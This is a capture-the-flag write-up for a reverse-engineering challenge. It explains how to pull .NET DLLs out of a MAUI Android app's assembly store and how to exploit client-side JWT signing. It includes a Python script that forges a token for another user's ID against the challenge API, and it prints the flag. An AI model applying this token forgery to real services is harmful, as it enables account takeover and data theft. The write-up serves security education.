Siccrest

REVERSE CSCBE  ·  2026-03-28  ·  .NET MAUI assembly-store extraction → client-side JWT forgery
CSC{dOInG_CL13N7_21d3_sIGN1n9_15_InSANE}

Siccrest ships as a single Android APK. Open it in jadx and the Java side is almost empty — the tell-tale shape of a Xamarin / .NET MAUI app, where all the real logic lives in managed C# compiled to DLLs and then hidden inside a native-looking ELF. The whole challenge is a two-act play: first get the DLLs out of the app's assembly store, then read the C# and notice that the app signs its own authentication tokens.

That second part is the actual vulnerability. The app mints its JWTs locally and the server trusts whatever public key the client attaches. Once you see that, the flag is a matter of forging a token for someone else's userId and asking the server politely for their record.

Table of Contents

  1. Reconnaissance — Spotting .NET MAUI
  2. The Assembly Store: libassembly-store.so
  3. Extraction via BSJB Markers
  4. Decompiling the Managed DLL
  5. The Auth Flow — and Why It's Broken
  6. Forging the Token & Pulling the Flag
  7. Pitfalls
  8. Key Lessons

1 Reconnaissance — Spotting .NET MAUI

Run jadx on the APK and the Java packages are just the Xamarin bootstrap shim — no business logic. That emptiness, plus native libraries under lib/, is the signature of a .NET MAUI build. The code you care about is managed, compiled to .NET assemblies, and bundled into a file that merely looks like a shared object.

Why jadx alone won't cut it For a MAUI app, jadx is only good for identifying the framework and confirming there's no Java logic. The C# lives elsewhere. Don't waste time reading the Java glue — pivot straight to the assembly store.

2 The Assembly Store: libassembly-store.so

What is an assembly store? A .NET MAUI / Xamarin startup optimisation that bundles all the app's managed DLLs into one blob (libassembly-store.so) loaded in a single mapping, instead of shipping them as separate files — which is exactly why they never appear as .dll entries in the APK.

MAUI packs its managed DLLs into libassembly-store.so. Despite the .so extension this is an ELF wrapping an XABA assembly store: a payload section holding each assembly back-to-back. Every assembly is LZ4-compressed behind an XALZ header:

XALZ magic → index → uncompressed_size → LZ4 block data

The catch: the XABA v3 header and index tables are underdocumented, and parsing them by hand is fiddly and error-prone. There is a much faster way in.

3 Extraction via BSJB Markers

Rather than parse the store format, go looking for the assemblies themselves. Every .NET assembly's metadata root begins with the four-byte signature BSJB. So the recovery strategy is: scan the store for BSJB, and for each hit trace backwards to the enclosing XALZ entry's boundaries. From the XALZ header you read the uncompressed_size and then LZ4-decompress the block.

# locate each .NET assembly without decoding the XABA index
# 1. scan payload for the BSJB metadata signature
# 2. walk back to the owning XALZ entry (magic + index + uncompressed_size)
# 3. LZ4 block-decompress, passing uncompressed_size from the XALZ header
import lz4.block, struct
data = lz4.block.decompress(xalz_payload, uncompressed_size=usize)
BSJB-guided extraction beats format parsing When a container format is poorly documented, anchor on a signature you do understand (BSJB = .NET metadata) and recover entries around it. You skip the whole XABA header/index headache and still get clean DLLs. Pass the uncompressed_size from the XALZ header to the LZ4 block decoder — block mode needs it.

4 Decompiling the Managed DLL

With the DLL on disk, hand it to a .NET decompiler — ilspycmd (the ILSpy command-line tool) or dnSpyEx — and read the recovered C# directly. MAUI assemblies decompile cleanly, so the app's actual logic reads almost like the original source.

# decompile the recovered assembly to C#
$ ilspycmd Siccrest.dll -o ./src

5 The Auth Flow — and Why It's Broken

Reading the decompiled C#, the authentication is done entirely on the client. The app generates its own RSA keypair, builds a JWT with a userId it chooses, and the server verifies the signature against the public key the client ships inside the token. That is the whole bug.

Client-side signing = total auth bypass The server trusts a client-provided public key to verify client-signed JWTs. Anyone can generate a fresh keypair and sign a token for any userId. There is no server-side key management to stop it — which is exactly what the flag text teases.

The concrete scheme recovered from the C#:

ElementValue / construction
KeypairRSA 2048, generated locally (Android KeyStore), alias doubidou
JWT claimsuserId, publicKey (base64 DER), signature, iat, exp
signatureMD5("doubi" + pubkey + iat + "douba")
Auth headerthe raw JWT — no Bearer prefix

And the two-call handshake the app performs:

POST /api/users/all → registers your public key → GET /api/users/me → returns the user record

The first call to /api/users/all is what registers the public key with the server; only after that does /api/users/me return the record for whatever userId your token claims.

6 Forging the Token & Pulling the Flag

Replicate the client: generate your own RSA 2048 keypair, build the claim set with userId = "1337" (the premium user), compute the signature MD5 exactly as the app does, sign the JWT, and send the raw token as the Authorization header. Call /api/users/all first to register the key, then /api/users/me.

from cryptography.hazmat.primitives.asymmetric import rsa
import hashlib, requests

# generate our own keypair — the server will trust it
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_der_b64 = # base64(DER of public key)

iat = # issued-at timestamp
signature = hashlib.md5(("doubi" + pub_der_b64 + str(iat) + "douba").encode()).hexdigest()

# claims: pick the premium user
claims = {"userId": "1337", "publicKey": pub_der_b64,
          "signature": signature, "iat": iat, "exp": iat + 3600}
jwt = # sign claims with our private key

# raw JWT as the header value — NO "Bearer " prefix
hdr = {"Authorization": jwt}
requests.post(BASE + "/api/users/all", headers=hdr)   # register pubkey first
me = requests.get(BASE + "/api/users/me", headers=hdr).json()
print(me["password"])                             # flag lives here

User 1337 is the premium account, and the flag comes back in its password field.

[+] keypair generated, signature MD5 computed [*] POST /api/users/all -> 200 (public key registered) [*] GET /api/users/me -> 200 (userId=1337) [+] password: CSC{dOInG_CL13N7_21d3_sIGN1n9_15_InSANE}
CSC{dOInG_CL13N7_21d3_sIGN1n9_15_InSANE}

7 Pitfalls

8 Key Lessons

Client-side JWT signing is a total authentication bypass. If the server verifies client-signed tokens against a public key the client supplies, the client can sign a token for any identity. The fix is server-side key management — never trust the signer to also provide the verification key.

Tools: jadx (framework ID), Python (lz4, struct) for XABA/XALZ extraction, ilspycmd / dnSpyEx (C# decompile), Python (cryptography, requests) for the JWT forgery.